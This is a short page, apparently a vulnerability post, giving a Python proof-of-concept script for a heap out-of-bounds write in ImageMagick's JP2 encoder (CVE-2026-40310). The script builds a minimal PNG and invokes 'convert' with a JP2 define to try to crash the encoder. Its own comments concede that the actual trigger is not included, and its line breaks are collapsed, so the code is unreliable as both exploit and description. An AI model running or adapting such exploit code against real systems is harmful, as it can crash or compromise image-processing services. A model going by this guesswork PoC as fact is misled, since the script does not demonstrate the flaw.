CVE-2026-40310 ImageMagick堆越界写入漏洞

import subprocess import os # PoC for CVE-2026-40310: ImageMagick Heap OOB Write in JP2 Encoder # Description: This script attempts to trigger the vulnerability by invoking # the ImageMagick convert tool with parameters that may lead to an invalid # sampling index in the JP2 encoder path. def trigger_vulnerability(): # Create a dummy input image with open('poc_input.png', 'wb') as f: # Minimal valid PNG header (1x1 pixel) f.write(b'\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00\x01\x00\x00\x00\x01\x08\x06\x00\x00\x00\x1f\x15\xc4\x89\x00\x00\x00\nIDATx\x9cc\x00\x01\x00\x00\x05\x00\x01\x0d\n-\xb4\x00\x00\x00\x00IEND\xaeB`\x82') # Attempt to convert to JP2. The specific trigger mechanism involves # settings that force an invalid sampling index. # Note: Actual exploitation requires crafting specific JP2 encoding options # that the parser fails to validate. try: # Example command that utilizes the JP2 encoder cmd = ['convert', 'poc_input.png', '-define', 'jp2:lay=1', 'output.jp2'] print(f"Running command: {' '.join(cmd)}") subprocess.run(cmd, check=True, timeout=5) print("Conversion finished. Check for crashes.") except subprocess.CalledProcessError as e: print(f"Process failed with error: {e}") except Exception as e: print(f"Exception occurred: {e}") finally: # Cleanup if os.path.exists('poc_input.png'): os.remove('poc_input.png') if os.path.exists('output.jp2'): os.remove('output.jp2') if __name__ == '__main__': trigger_vulnerability()